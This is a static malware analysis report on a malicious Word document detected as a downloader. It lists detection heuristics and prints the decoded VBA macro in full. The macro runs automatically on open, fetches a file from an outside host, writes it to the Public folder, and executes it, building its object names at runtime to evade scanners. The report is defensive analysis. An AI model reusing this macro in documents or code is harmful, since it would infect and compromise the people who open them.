Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 df79f3975a09dfd2…

MALICIOUS

Office (OOXML)

138.6 KB Created: 2021-02-07 17:10:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-18
MD5: 247012b2848913011f431f41bdbd40cf SHA-1: efd21560e06830741856bd31be897382fb8c247d SHA-256: df79f3975a09dfd261a82a7f984ff4e1d3a5e43399e80f666466d5b8dfb114e4
290 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.BlueWord-9845926-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BlueWord-9845926-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
          f = ProcedureViewBuf.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          Set ProcedureViewBuf = CreateObject(CounterVb)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2200 bytes
SHA-256: 126868c373a9de2b36e49ebb59d50be71a4f3c0e7a68f55250546fe02cf4fe7a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
 InstrumentationUtil.CheckBox1_Click
End Sub

Attribute VB_Name = "InstrumentationUtil"
Attribute VB_Base = "0{71292DFE-59E3-4509-8BE5-DAAECC1854F4}{5E76AC43-81AE-42E3-B42C-D93453855CA7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public ProcedureBufBuffer
Public CopyLocal
Public MainPointer

Public Sub CheckBox1_Click()
 ListBox1.AddItem (CommandButton1.Tag)
 ListBox1.AddItem (CheckBox1.Tag)
 CommandButton1_Click
 ListBox1_Click
End Sub



Private Sub CommandButton1_Click()
ListBox1.AddItem (Image1.ControlTipText)
ListBox1.AddItem ("://statblogger.com/header.jpg")
End Sub


Private Sub ListBox1_Click()
InstrumentationUtil.ProcedureBufBuffer = "C:\users\Public\" + "wt.jpg"
 InstrumentationUtil.CopyLocal = "http"
 InstrumentationUtil.MainPointer = "GET"
 SizeStructListbox = 1
 
 Dim ProcedureViewBuf As Object
 Dim ProcStruct As Object
 

 For Each CounterVb In ListBox1.List
    If SizeStructListbox = Len("Z") Then
      Set ProcedureViewBuf = CreateObject(CounterVb)
      ProcedureViewBuf.Open InstrumentationUtil.MainPointer, InstrumentationUtil.CopyLocal & ListBox1.List(3), False
      ProcedureViewBuf.Send
    End If
    
    If SizeStructListbox = Len("ZZ") Then
      Set ProcStruct = CreateObject(CounterVb & "am")
      ProcStruct.Open
      ProcStruct.Type = Len("Z")
      f = ProcedureViewBuf.ResponseBody
      ProcStruct.Write f
      ProcStruct.SaveToFile InstrumentationUtil.ProcedureBufBuffer, 2
    End If
    
    If SizeStructListbox = Len("ZZZ") Then
      Shell% (CounterVb + " " & InstrumentationUtil.ProcedureBufBuffer)
    End If
    
    SizeStructListbox = SizeStructListbox + 1
 Next
End Sub

Private Sub skuid_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 96256 bytes
SHA-256: c0e4946864773efc5dc2d3cb714ed093087304444499bc7135020e2cc3637f1f
Detection
ClamAV: Doc.Downloader.BlueWord-9845926-0
Obfuscation or payload: unlikely

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